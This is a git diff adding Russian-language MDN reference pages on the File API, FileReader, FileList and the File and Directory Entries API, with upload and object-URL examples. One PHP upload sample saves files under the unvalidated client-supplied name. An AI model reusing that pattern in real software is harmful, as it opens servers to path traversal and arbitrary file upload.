    6. Добавляем новый элемент в список.
      7. +
    +
    4. +
+ +

Пример: Загрузка файла, выбранного пользователем

+ +

Еще одна вещь, которую вы можете захотеть сделать – это позволить пользователю загрузить выбранный файл или файлы (такие, как изображения из предыдущего примера) на сервер. Это можно сделать асинхронно довольно просто.

+ +

Создание заданий на загрузку

+ +

Продолжая пример с кодом, который строил эскизы в предыдущем примере, напомним, что каждому изображению эскиза присвоен класс CSS class obj, с соответствующим {{ domxref("File") }}, прикрепленным в атрибут file. Это позволяет нам очень просто выбрать все изображения, которые пользователь выбрал для загрузки используя {{ domxref("Document.querySelectorAll()") }}, как показано здесь:

+ +
function sendFiles() {
+  var imgs = document.querySelectorAll(".obj");
+
+  for (var i = 0; i < imgs.length; i++) {
+    new FileUpload(imgs[i], imgs[i].file);
+  }
+}
+
+ +

Строка 2 получает {{ domxref("NodeList") }} в переменную imgs со всеми элементами документа, имеющих класс CSS obj. В нашем случае все они будут эскизами изображений. Как только мы получим этот список, можно просто пройти по нему, создавая для каждого элемента новый экземпляр FileUpload. Каждый из них отвечает за загрузку соответствующего файла.

+ +

Управление процессом загрузки файла

+ +

Функция FileUpload принимает на вход 2 параметра: элемент изображения и файл, из которого нужно читать данные изображения.

+ +
function FileUpload(img, file) {
+  const reader = new FileReader();
+  this.ctrl = createThrobber(img);
+  const xhr = new XMLHttpRequest();
+  this.xhr = xhr;
+
+  const self = this;
+  this.xhr.upload.addEventListener("progress", function(e) {
+        if (e.lengthComputable) {
+          const percentage = Math.round((e.loaded * 100) / e.total);
+          self.ctrl.update(percentage);
+        }
+      }, false);
+
+  xhr.upload.addEventListener("load", function(e){
+          self.ctrl.update(100);
+          const canvas = self.ctrl.ctx.canvas;
+          canvas.parentNode.removeChild(canvas);
+      }, false);
+  xhr.open("POST", "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php");
+  xhr.overrideMimeType('text/plain; charset=x-user-defined-binary');
+  reader.onload = function(evt) {
+    xhr.send(evt.target.result);
+  };
+  reader.readAsBinaryString(file);
+}
+ +

Функция FileUpload(), показанная выше, создает объект Throbber, который используется для отображения хода загрузки, а затем создает {{ domxref("XMLHttpRequest") }} для управления загрузкой данных.

+ +

Перед началом загрузки данных выполняются несколько шагов для подготовки:

+ +
    +
  1. На XMLHttpRequest устанавливается обработчик события progress для обновления индикатора хода загрузки новыми значениями процента выполнения, так что по мере хода загрузки, индикатор будет обновляться, отображая последнюю информацию.
    2. +
  2. На XMLHttpRequest's устанавливается обработчик события load для установки индикатора загрузки в значение 100%, чтобы убедиться, что индикатор действительно установлен в 100% (в случае проблем детализации в ходе процесса). Затем обработчик удаляет индикатор загрузки, т.к. он более не нужен. Поэтому индикатор исчезает как только загрузка завершена.
    3. +
  3. Запрос на загрузку файла изображения открывается вызовом метода XMLHttpRequest's open() для начала создания POST-запроса.
    4. +
  4. Тип MIME для загрузки устанавливается вызовом функции XMLHttpRequest overrideMimeType(). В этом случае мы используем общий тип MIME type; вам может быть нужно или не нужно вообще устанавливать тип MIME в зависимости от вашего случая.
    5. +
  5. Объект FileReader используется для преобразования файла в двоичную строку.
    6. +
  6. И в завершение, когда содержимое загружено, вызывается функция XMLHttpRequest send() для отправки содержимого файла.
    7. +
+ +

Асинхронная обработка процесса загрузки

+ +
<?php
+if (isset($_FILES['myFile'])) {
+    // Example:
+    move_uploaded_file($_FILES['myFile']['tmp_name'], "uploads/" . $_FILES['myFile']['name']);
+    exit;
+}
+?><!DOCTYPE html>
+<html>
+<head>
+    <title>dnd binary upload</title>
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
+    <script type="text/javascript">
+        function sendFile(file) {
+            var uri = "/index.php";
+            var xhr = new XMLHttpRequest();
+            var fd = new FormData();
+
+            xhr.open("POST", uri, true);
+            xhr.onreadystatechange = function() {
+                if (xhr.readyState == 4 && xhr.status == 200) {
+                    // Handle response.
+                    alert(xhr.responseText); // handle response.
+                }
+            };
+            fd.append('myFile', file);
+            // Initiate a multipart/form-data upload
+            xhr.send(fd);
+        }
+
+        window.onload = function() {
+            var dropzone = document.getElementById("dropzone");
+            dropzone.ondragover = dropzone.ondragenter = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+            }
+
+            dropzone.ondrop = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+
+                var filesArray = event.dataTransfer.files;
+                for (var i=0; i<filesArray.length; i++) {
+                    sendFile(filesArray[i]);
+                }
+            }
+        }
+    </script>
+</head>
+<body>
+    <div>
+        <div id="dropzone" style="margin:30px; width:500px; height:300px; border:1px dotted grey;">Drag & drop your file here...</div>
+    </div>
+</body>
+</html>
+
+ +

Пример: Использование URL объектов для отображения PDF

+ +

URL объектов могут быть использованы не только для изображений! Также этот прием можно использовать и для других ресурсов, которые могут отображаться браузером, например, файлы PDF.

+ +

В Firefox, для того чтобы файл PDF появился в iframe и не предлагался для загрузки, нужно установить pdfjs.disabled в значение false {{non-standard_inline()}}.

+ +
<iframe id="viewer">
+
+ +

А здесь изменение атрибута src:

+ +
var obj_url = window.URL.createObjectURL(blob);
+var iframe = document.getElementById('viewer');
+iframe.setAttribute('src', obj_url);
+window.URL.revokeObjectURL(obj_url);
+ +

Пример: Использование URL объектов с другими типами файлов

+ +

Вы можете таким же образом работать с файлами в других форматах. Ниже приведен пример как загружается видео:

+ +
var video = document.getElementById('video');
+var obj_url = window.URL.createObjectURL(blob);
+video.src = obj_url;
+video.play()
+window.URL.revokeObjectURL(obj_url);
+ +

Спецификации

+ + + +

Дополнительные ссылки

+ + + +

{{ HTML5ArticleTOC() }}

+ +

{{ languages( { "zh-cn": "zh-cn/Using_files_from_web_applications", "ja": "ja/Using_files_from_web_applications" } ) }}

diff --git a/files/ru/web/api/file_and_directory_entries_api/index.html b/files/ru/web/api/file_and_directory_entries_api/index.html new file mode 100644 index 0000000000..e876abacfc --- /dev/null +++ b/files/ru/web/api/file_and_directory_entries_api/index.html @@ -0,0 +1,129 @@ +--- +title: File and Directory Entries API +slug: Web/API/File_and_Directory_Entries_API +tags: + - API + - File System API + - File and Directory Entries API + - Files + - NeedsTranslation + - Non-standard + - Overview + - Reference + - TopicStub +translation_of: Web/API/File_and_Directory_Entries_API +--- +

{{DefaultAPISidebar("File System API")}}

+ +

{{Non-standard_Header}}

+ +

API доступа к файлам и директориям имитирует локальную файловую систему, в которой веб-приложения могут перемещаться и получать доступ к файлам. Вы можете разрабатывать приложения, которые читают, записывают и создают файлы и/или каталоги в виртуальной изолированной файловой системе. 

+ +
+

Поскольку это нестандартный API, спецификация которого в настоящее время не входит в стандарт, важно помнить, что не все браузеры реализуют его, а те, которые поддерживают, могут реализовывать только небольшие его части. Дополнительные сведения в разделе {{anch("Browser compatibility")}} 

+
+ +

Существуют два очень похожих API в зависимости от того, хотите ли вы асинхронного или синхронного поведения. Синхронный API предназначен для использования внутри {{domxref("Worker")}} и будет возвращать желаемые значения. Асинхронный API не будет блокировать выполнение кода, а API не будет возвращать значения; вместо этого вам нужно будет предоставить функцию обратного вызова для обработки одного или нескольких ответов.

+ +
+

Firefox реализация File System API очень ограничена: не поддерживается создание файлов. Доступ к вайлам осуществляется только через {{HTMLElement("input")}} элемент (см. так же {{domxref("HTMLInputElement")}}) или путем перетаскивания файла/папки (drag and drop). Firefox также не реализует синхронный API. Внимательно проверьте совместимость браузера для любой части API, которую вы используете. ( см. Поддержка File System API в Firefox)

+
+ +

Получение доступа к файловой системе

+ +

Есть два способа получить доступ к файловой системе, определенным в текущем проекте спецификации:

+ + + +

Асинхронный API

+ +

Асинхронный API следует использовать для большинства операций, чтобы доступ к файловой системе не блокировал весь браузер, если он используется в основном потоке. Он включает в себя следующие интерфейсы:

+ +
+
{{domxref("FileSystem")}}
+
Представляет файловую систему.
+
{{domxref("FileSystemEntry")}}
+
Базовый интерфейс, представляющий одну запись в файловой системе. Это реализуется другими интерфейсами, которые представляют файлы или каталоги.
+
{{domxref("FileSystemFileEntry")}}
+
Представляет отдельный файл в файловой системе.
+
{{domxref("FileSystemDirectoryEntry")}}
+
Представляет отдельный каталог в файловой системе.
+
{{domxref("FileSystemDirectoryReader")}}
+
Созданный путем вызова {{domxref("FileSystemDirectoryEntry.createReader()")}}, этот интерфейс предоставляет функции, которые позволяют вам читать содержимое каталога.
+
{{domxref("FileSystemFlags")}}
+
Определяет набор значений, которые используются при указании флагов опций при вызове определенных методов в File System API.
+
{{domxref("FileError")}}
+
Представляет ошибку, которая возникает при вызовах асинхронной файловой системы.
+
+ +

Также есть две глобальные функции (которые в настоящее время не являются частью спецификации и реализуются только в Google Chrome). Они доступны внутри объекта {{domxref("Window")}} и реализованы в {{domxref("LocalFileSystem")}}: requestFileSystem() и resolveLocalFileSystemURL().

+ +

Синхронный API

+ +

Синхронный API следует использовать только в {{domxref("Worker")}}-ах; эти вызовы блокируются до тех пор, пока не закончат свое выполнение, и просто возвращают результаты вместо использования обратных вызовов. Использование их в основном потоке заблокирует браузер, что непослушно. В противном случае интерфейсы ниже отражают интерфейсы асинхронного API.

+ +
+
{{domxref("FileSystemSync")}}
+
Представляет файловую систему.
+
{{domxref("FileSystemEntrySync")}}
+
Базовый интерфейс, представляющий одну запись в файловой системе. Это реализуется другими интерфейсами, которые представляют файлы или каталоги. {{domxref("EntrySync")}}
+
{{domxref("FileSystemFileEntrySync")}}
+
Представляет отдельный файл в файловой системе.
+
{{domxref("FileSystemDirectoryEntrySync")}}
+
Представляет отдельный каталог в файловой системе.
+
{{domxref("FileSystemDirectoryReaderSync")}}
+
Созданный путем вызова {{domxref("FileSystemDirectoryEntrySync.createReader()")}}, этот интерфейс предоставляет функции, которые позволяют вам читать содержимое каталога.
+
{{domxref("FileException")}}
+
Представляет ошибку, которая возникает при вызовах синхронной файловой системы.
+
+ +

Также есть две глобальные функции (которые в настоящее время не являются частью спецификации и реализуются только в Google Chrome). Они доступны в объекте {{domxref("Worker")}} и реализованы в{{domxref("LocalFileSystemSync")}}: requestFileSystemSync() и resolveLocalFileSystemSyncURL().

+ +

Другие интерфейсы

+ +
+
{{domxref("LocalFileSystem")}}
+
Предоставляет вам доступ к изолированной файловой системе.
+
{{domxref("LocalFileSystemSync")}}
+
+
{{domxref("LockedFile")}}
+
Предоставляет инструменты для работы с данным файлом со всеми необходимыми блокировками.
+
{{domxref("Metadata")}}{{experimental_inline}}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File System API')}}{{Spec2('File System API')}}Draft of proposed API
+ +

Этот API не имеет официальной спецификации W3C или WHATWG.

+ +

Совместимость с браузерами

+ +

{{Compat("api.FileSystem", 0)}}

+ +

{{Compat("api.FileSystemSync", 0)}}

+ +

Смотрите также

+ + diff --git "a/files/ru/web/api/file_and_directory_entries_api/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" "b/files/ru/web/api/file_and_directory_entries_api/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" new file mode 100644 index 0000000000..e5c76758c1 --- /dev/null +++ "b/files/ru/web/api/file_and_directory_entries_api/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" @@ -0,0 +1,291 @@ +--- +title: Введение в API файлов и каталогов +slug: Web/API/File_and_Directory_Entries_API/Введение +translation_of: Web/API/File_and_Directory_Entries_API/Introduction +--- +
{{DefaultAPISidebar("File System API")}}{{Non-standard_header}}
+ +

API файлов и каталогов эмулирует для веб-приложений локальную файловую систему. У вас есть возможность создания приложений, которые могут читать, записывать и создавать файлы и директории в изолированной виртуальной файловой системе.

+ +

API файлов и каталогов взаимодействует с другими API. Оно было создано на основе File Writer API, который в свою очередь использует File API. Каждое API реализует разную функциональность. Данные программные интерфейсы являются огромным эволюционным скачком для веб-приложений, которые теперь могут кешировать и обрабатывать большие объемы данных. 

+ +

Об этом документе

+ +

В данном документе приведены основные концепции и терминология API файлов и каталогов, которые должны показать общую картину и ключевые идеи. Также описаны ограничения, несоблюдение которых может привести к появлению ошибок безопасности. Используемая терминология описана в разделе Определений.

+ +

Ссылки на страницы данного API приведены в Ссылочном справочнике.

+ +

Спецификация находится на стадии разработки и будет изменяться в будущем.

+ +

Обзор

+ +

Программный интерфейс файлов и каталогов включает асинхронные и синхронные методы. Асинхронное API может быть использовано в тех случаях, когда нежелательно, чтобы длительные вычисления блокировали весь пользовательский интерфейс. В свою очередь синхронное API предлагает более простую модель программирования, однако оно должно использоваться только с объектами WebWorkers.

+ +

Применимость API

+ +

API файлов и каталогов является важным программным интерфейсом по следующим причинам:

+ + + +

Примеры таких приложений приведены в разделе Примеры использования.

+ +

API файлов и каталогов и другие программные интерфейсы хранения данных

+ +

API файлов и каталогов является альтернативой для других интерфейсов хранения данных, таких как IndexedDB, WebSQL (признано устаревшим с 18 ноября 2010 г.) и AppCache. Тем не менее данное API является более хорошим выбором для приложений, обрабатывающим большие объемы данных, по следующим причинам:

+ + + +

Примеры использования

+ +

Далее приведены лишь некоторые случаи, в которых можно использовать API файлов и каталогов:

+ + + +

Big concepts

+ +

Before you start using the File and Directory Entries API, you need to understand a few concepts:

+ + + +

The File and Directory Entries API is a virtual representation of a file system

+ +

The API doesn't give you access to the local file system, nor is the sandbox really a section of the file system. Instead, it is a virtualized file system that looks like a full-fledged file system to the web app. It does not necessarily have a relationship to the local file system outside the browser. 

+ +

What this means is that a web app and a desktop app cannot share the same file at the same time. The API does not let your web app reach outside the browser to files that desktop apps can also work on. You can, however, export a file from a web app to a desktop app. For example, you can use the File API, create a blob, redirect an iframe to the blob, and invoke the download manager.

+ +

The File and Directory Entries API can use different storage types

+ +

An application can request temporary or persistent storage. Temporary storage is easier to get, because the browser just gives it to you, but it is limited and can be deleted by the browser when it runs out of space. Persistent storage, on the other hand, might offer you larger space that can only be deleted by the user, but it requires the user to grant you permission.

+ +

Use temporary storage for caching and persistent storage for data that you want your app to keep—such as user-generated or unique data.

+ +

Browsers impose storage quotas

+ +

To prevent a web app from using up the entire disk, browsers might impose a quota for each app and allocate storage among web apps.

+ +

How storage space is granted or allocated and how you can manage storage are idiosyncratic to the browser, so you need to check the respective documentation of the browser. Google Chrome, for example, allows temporary storage beyond the 5 MB required in the specifications and supports the Quota Management API. To learn more about the Chrome-specific implementation, see Managing HTML5 Offline Storage.

+ +

The File and Directory Entries API has asynchronous and synchronous versions

+ +

The File and Directory Entries API comes with asynchronous and synchronous versions. Both versions of the API offer the same capabilities and features. In fact, they are almost alike, except for a few differences.

+ + + +

The synchronous API can be simpler for some tasks. Its direct, in-order programming model can make code easier to read. The drawback of synchronous API has to do with its interactions with Web Workers, which has some limitations.

+ +

When using the asynchronous API, always use the error callbacks

+ +

When using the asynchronous API, always use the error callbacks. Although the error callbacks for the methods are optional parameters, they are not optional for your sanity. You want to know why your calls failed. At minimum, handle the errors to provide error messages, so you'll have an idea of what's going on.

+ +

The File and Directory Entries API interacts with other APIs

+ +

The File and Directory Entries API is designed to be used with other APIs and elements on the web platform. For example, you are likely to use one of the following:

+ + + +

The File and Directory Entries API is case sensitive

+ +
The filesystem API is case-sensitive, and case-preserving. 
+ +

 

+ +

Ограничения

+ +

For security reasons, browsers impose restrictions on file access. If you ignore them, you will get security errors.

+ + + +

The File and Directory Entries API adheres to the same-origin policy

+ +

An origin is the domain, application layer protocol, and port of a URL of the document where the script is being executed. Each origin has its own associated set of file systems.

+ +

The security boundary imposed on file system prevents applications from accessing data with a different origin. This protects private data by preventing access and deletion. For example, while an app or a page in http://www.example.com/app/ can access files from http://www.example.com/dir/, because they have the same origin, it cannot retrieve files from http://www.example.com:8080/dir/ (different port) or https://www.example.com/dir/ (different protocol).

+ +

The File and Directory Entries API does not let you create and rename executable files

+ +

To prevent malicious apps from running hostile executables, you cannot create executable files within the sandbox of the File and Directory Entries API. 

+ +

The file system is sandboxed

+ +

Because the file system is sandboxed, a web app cannot access another app's files. You also cannot read or write files to an arbitrary folder (for example, My Pictures and My Documents) on the user's hard drive.

+ +

You cannot run your app from file://

+ +

You cannot run your app locally from file://. If you do so, the browser throws errors or your app fails silently. This restriction also applies to many of the file APIs, including BlobBuilder and FileReader.

+ +

For testing purposes, you can bypass the restriction on Chrome by starting the browser with the --allow-file-access-from-files flag. Use this flag only for this purpose.

+ +

Определения

+ +

This section defines and explains terms used in the File and Directory Entries API.

+ +
+
blob
+
Stands for binary large object. A blob is a set of binary data that is stored a single object. It is a general-purpose way to reference binary data in web applications. A blob can be an image or an audio file.
+
Blob
+
Blob—with a capital B—is a data structure that is immutable, which means that binary data referenced by a Blob cannot be modified directly. This makes Blobs act predictably when they are passed to asynchronous APIs.
+
persistent storage
+
Persistent storage is storage that stays in the browser unless the user expunges it or the app deletes it. 
+
temporary storage
+
Transient storage is available to any web app. It is automatic and does not need to be requested, but the browser can delete the storage without warning.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File System API')}}{{Spec2('File System API')}}Draft of proposed API
+ +

This API has no official W3C or WHATWG specification.

+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Asynchronous API13 {{ property_prefix("webkit") }}{{ CompatGeckoDesktop(50) }}[1]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
Synchronous API13 {{ property_prefix("webkit") }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Asynchronous API{{ CompatNo }}{{ CompatVersionUnknown }} {{ property_prefix("webkit") }}{{ CompatGeckoMobile(50) }}[1]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
Synchronous API{{ CompatNo }}{{ CompatVersionUnknown }} {{ property_prefix("webkit") }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

[1] Firefox 50 introduces partial support for the File and Directory Entries API. Be sure to check the compatibility tables for individual interfaces and methods before using them, to ensure that they're supported, before you use them.

+ +

See also

+ + diff --git a/files/ru/web/api/filelist/index.html b/files/ru/web/api/filelist/index.html new file mode 100644 index 0000000000..350142abee --- /dev/null +++ b/files/ru/web/api/filelist/index.html @@ -0,0 +1,153 @@ +--- +title: FileList +slug: Web/API/FileList +tags: + - API + - File API + - Files +translation_of: Web/API/FileList +--- +
{{APIRef("File API")}}{{gecko_minversion_header("1.9")}}
+ +
Объект этого типа возвращается свойством {{HTMLElement("input")}} элемента, что позволяет получить список выбранных файлов из <input type="file">. Также используется для получения списка файлов, брошеных в область веб-контента (Web content) по средствам drag and drop API. Смотрите DataTransfer для детального понимания как это использовать.
+ +
+

Заметка: До версии {{Gecko("1.9.2")}}, input элемент поддерживает только один выбранный файл, это значит что FileList содержит только один файл. Начиная с {{Gecko("1.9.2")}}, если input содержит атрибут multiple=true, то FileList может содержать несколько файлов.

+
+ +

Использование FileList

+ +

Все <input> элементы имеют файловые массивы которые позволяют получить доступ к файлам. Пример файлового тега:

+ +
<input id="fileItem" type="file">
+
+ +

Этот код извлекает первый File object из списка:

+ +
var file = document.getElementById('fileItem').files[0];
+
+ +

Обзор методов

+ + + + + + + +
File item(index);
+ +

Свойства

+ + + + + + + + + + + + + + +
АтрибутТипОписание
lengthintegerКоличество файлов в списке, свойство только для чтения (read-only)
+ +

Методы

+ +

item()

+ +

Возвращает File объект по его индексу в списке.

+ +
 File item(
+   index
+ );
+
+ +
Параметр
+ +
+
index
+
Отсчитываемый от нуля индекс файла для извлечения из списка.
+
+ +
Возвращаемое значение
+ +

Тип File, соотвествует запрашиваемому файлу.

+ +

Примеры

+ +

Этот пример выполняет перебор всех файлов, выбранных пользователем, используя элемент Input:

+ +
// fileInput это HTML input элемент: <input type="file" id="myfileinput" multiple>
+var fileInput = document.getElementById("myfileinput");
+
+// files это FileList объект (похож на NodeList)
+var files = fileInput.files;
+var file;
+
+// обходит файлы используя цикл
+for (var i = 0; i < files.length; i++) {
+
+    // получаем сам файл
+    file = files.item(i);
+    // или можно так
+    file = files[i];
+
+    alert(file.name);
+}
+
+ +

Здесь пример посложнее.

+ +
<!DOCTYPE HTML>
+<html>
+<head>
+</head>
+<body>
+<!--атрибут multiple позволяет выбрать сразу несколько файлов-->
+
+<input id="myfiles" multiple type="file">
+
+</body>
+
+<script>
+
+var pullfiles=function(){
+    // выбираем файловые инпуты на странице
+    var fileInput = document.querySelector("#myfiles");
+    var files = fileInput.files;
+    // кешируем files.length
+    var fl=files.length;
+    var i=0;
+
+    while ( i < fl) {
+        // локализуем файловую переменную в цикле
+        var file = files[i];
+        alert(file.name);
+        i++;
+    }
+}
+
+// привязываем событие изменения input
+document.querySelector("#myfiles").onchange=pullfiles;
+
+//a.t
+</script>
+
+</html>
+ +

Спецификация

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/filereader/error/index.html b/files/ru/web/api/filereader/error/index.html new file mode 100644 index 0000000000..d15627b9b9 --- /dev/null +++ b/files/ru/web/api/filereader/error/index.html @@ -0,0 +1,48 @@ +--- +title: FileReader.error +slug: Web/API/FileReader/error +translation_of: Web/API/FileReader/error +--- +
{{APIRef("File API")}}
+ +

Сводка

+ +

Возвращает ошибку, произошедшую во время чтения файла.

+ +

Синтакс

+ +
var error = instanceOfFileReader.error
+
+ +

Значение

+ +

{{domxref("DOMError")}} содержит соответствующую ошибку. В Chrome 48+/Firefox 58+ значение возвращает {{domxref("DOMException")}} так как DOMError был удалён из DOM-стандарта.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName("File API", "#FileReader-interface", "FileReader")}}{{Spec2("File API")}}Первоначальное определение
+ +

Совместимость браузера

+ + + +

{{Compat("api.FileReader.error")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/filereader/filereader/index.html b/files/ru/web/api/filereader/filereader/index.html new file mode 100644 index 0000000000..c6a1fe466a --- /dev/null +++ b/files/ru/web/api/filereader/filereader/index.html @@ -0,0 +1,59 @@ +--- +title: FileReader() +slug: Web/API/FileReader/FileReader +tags: + - API + - FileReader + - Конструктор + - Ссылка +translation_of: Web/API/FileReader/FileReader +--- +

Конструктор FileReader() создаёт новый FileReader.

+ +

Дополнительные сведения об использовании FileReader, смотрите в разделе Использвание файлов из веб-приложений.

+ +

Синтаксис

+ +
var reader = new FileReader();
+ +

Параметры

+ +

Отсутсвуют.

+ +

Пример

+ +

Следующий объект кода показывает объект FileReader использующий конструктор FileReader() и последующее использование объекта:

+ +
function printFile(file) {
+  var reader = new FileReader();
+  reader.onload = function(evt) {
+    console.log(evt.target.result);
+  };
+  reader.readAsText(file);
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('File API')}}{{Spec2('File API')}}Первоночальное определение
+ +

Смотреть также

+ + diff --git a/files/ru/web/api/filereader/index.html b/files/ru/web/api/filereader/index.html new file mode 100644 index 0000000000..2e5678021c --- /dev/null +++ b/files/ru/web/api/filereader/index.html @@ -0,0 +1,131 @@ +--- +title: FileReader +slug: Web/API/FileReader +tags: + - API + - DOM + - File API + - WebAPI + - Файлы +translation_of: Web/API/FileReader +--- +

{{ APIRef("File API") }}

+ +

Общая информация

+ +

Объект FileReader позволяет веб-приложениям асинхронно читать содержимое файлов (или буферы данных), хранящиеся на компьютере пользователя, используя объекты {{domxref("File")}} или {{domxref("Blob")}}, с помощью которых задается файл или данные для чтения.

+ +

Объекты File можно получить через объект {{domxref("FileList")}}, который возвращается как результат при выборе файлов пользователем с помощью элемента {{HTMLElement("input")}}, через drag and drop из объекта {{domxref("DataTransfer")}}, или с помощью mozGetAsFile(), метода доступного в API элемента {{domxref("HTMLCanvasElement")}}.

+ +
+

Важное замечание: FileReader используется только для безопасным образом чтения содержимого файла из пользовательской (удалённой) системы. Его нельзя использовать для простого чтения файла по пути из файловой системы. Для чтения файла по пути в JavaScript следуюет использовать стандартное решение Ajax для чтения файла на стороне сервера с разрешение CORS при кроссдоменном чтении.

+
+ +

{{AvailableInWorkers}}

+ +

Конструктор

+ +
FileReader FileReader();
+ +

Более детально, с примерами см. использование файлов в веб-приложениях.

+ +

Свойства

+ +
+
{{domxref("FileReader.error")}} {{readonlyinline}}
+
{{domxref("DOMError")}} представляет собой ошибку, происходящую при чтении файла.
+
{{domxref("FileReader.readyState")}} {{readonlyinline}}
+
Число обозначающее состояние объекта FileReader. Принимает одно из значений {{ anch("State constants") }}.
+
{{domxref("FileReader.result")}} {{readonlyinline}}
+
Данные из файла. Значение свойства действительно только когда завершится операция чтения, причем формат данных зависит от способа, с помощью которого процесс был вызван.
+
+ +

Обработка событий

+ +
+
{{domxref("FileReader.onabort")}}
+
Обработчик для события {{event("abort")}}. Это событие срабатывает каждый раз, когда прерывается операция чтения.
+
{{domxref("FileReader.onerror")}}
+
Обработчик для события {{event("error")}}. Это событие срабатывает каждый раз, когда при чтении возникает ошибка.
+
{{domxref("FileReader.onload")}}
+
Обработчик для события {{event("load")}}. Это событие срабатывает при каждом успешном завершении операции чтения.
+
{{domxref("FileReader.onloadstart")}}
+
Обработчик для события {{event("loadstart")}}. Это событие срабатывает каждый раз, при запуске процесса чтения.
+
{{domxref("FileReader.onloadend")}}
+
Обработчик для события {{event("loadend")}}. Это событие срабатывает каждый раз по окончании процесса чтения (не важно, успешном или нет).
+
{{domxref("FileReader.onprogress")}}
+
Обработчик для события {{event("progress")}}. Это событие срабатывает во время чтения данных из {{domxref("Blob")}}.
+
+ +
+

Замечание: т.к. FileReader унаследован от {{domxref("EventTarget")}}, на все перечисленные события можно подписаться, используя метод {{domxref("EventTarget.addEventListener()","addEventListener")}}.

+
+ +

Константы состояния

+ + + +

Методы

+ +
+
{{domxref("FileReader.abort()")}}
+
Отмена операции чтения. После вызова, значение readyState станет равным DONE.
+
{{domxref("FileReader.readAsArrayBuffer()")}} {{ gecko_minversion_inline("7.0") }}
+
Запускает процесс чтения данных указанного {{ domxref("Blob") }}, по завершении, аттрибут result будет содержать данные файла в виде {{domxref("ArrayBuffer")}}.
+
{{domxref("FileReader.readAsBinaryString()")}}
+
Запускает процесс чтения данных указанного {{ domxref("Blob") }}, по завершении, аттрибут result будет содержать бинарные данные файла в виде строки.
+
{{domxref("FileReader.readAsDataURL()")}}
+
Запускает процесс чтения данных указанного {{ domxref("Blob") }}, по завершении, аттрибут result будет содержать данные файла в виде data: URL.
+
{{domxref("FileReader.readAsText()")}}
+
Запускает процесс чтения данных указанного {{ domxref("Blob") }}, по завершении, аттрибут result будет содержать данные файла в виде текста.
+
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('File API','#FileReader-interface','FileReader')}}{{Spec2('File API')}}Начальное определение.
+ +

Поддержка браузерами

+ +

{{Compat("api.FileReader")}}

+ +
+ +

Заметки по реализации

+ + + +

Относительно движка Gecko

+ + + +

См. также

+ + diff --git a/files/ru/web/api/filereader/onabort/index.html b/files/ru/web/api/filereader/onabort/index.html new file mode 100644 index 0000000000..cf9d62c646 --- /dev/null +++ b/files/ru/web/api/filereader/onabort/index.html @@ -0,0 +1,10 @@ +--- +title: FileReader.onabort +slug: Web/API/FileReader/onabort +translation_of: Web/API/FileReader/onabort +--- +

Значением свойства FileReader.onabort является функция которая вызывается в случае если срабатывает событие abort, например когда процесс чтения файла прерывается по каким-либо причинам.  

+ +

Синтаксис

+ +
reader.onabort = function() { ... };
diff --git a/files/ru/web/api/filereader/readasarraybuffer/index.html b/files/ru/web/api/filereader/readasarraybuffer/index.html new file mode 100644 index 0000000000..77fd35b3b4 --- /dev/null +++ b/files/ru/web/api/filereader/readasarraybuffer/index.html @@ -0,0 +1,110 @@ +--- +title: FileReader.readAsArrayBuffer() +slug: Web/API/FileReader/readAsArrayBuffer +tags: + - API + - DOM + - File API + - Reference + - readAsArrayBuffer + - Файлы + - метод +translation_of: Web/API/FileReader/readAsArrayBuffer +--- +

{{APIRef("File API")}}

+ +

Метод readAsArrayBuffer используется для чтения содержимого файла, представленного как {{domxref("Blob")}} или {{domxref("File")}}. Когда операция чтения завершается, {{domxref("FileReader.readyState","readyState")}} принимает значение DONE, и наступает событие {{event("loadend")}}. В то же время в {{domxref("FileReader.result","result")}} помещается информация о файле в виде {{domxref("ArrayBuffer")}}.

+ +

Синтаксис

+ +
instanceOfFileReader.readAsArrayBuffer(blob);
+ +

Параметры

+ +
+
blob
+
{{domxref("Blob")}} или {{domxref("File")}}, информацию из которого необходимо прочитать.
+
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("File API", "#readAsArrayBuffer", "FileReader.readAsArrayBuffer")}}{{Spec2("File API")}}Initial definition
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeEdgeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("1.9.2")}}[1]7{{CompatVersionUnknown}}10[2]12.02[3]6.0.2
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidEdgeIE MobileOpera MobileSafari Mobile
Basic support323{{CompatVersionUnknown}}1011.56.1
+
+ +

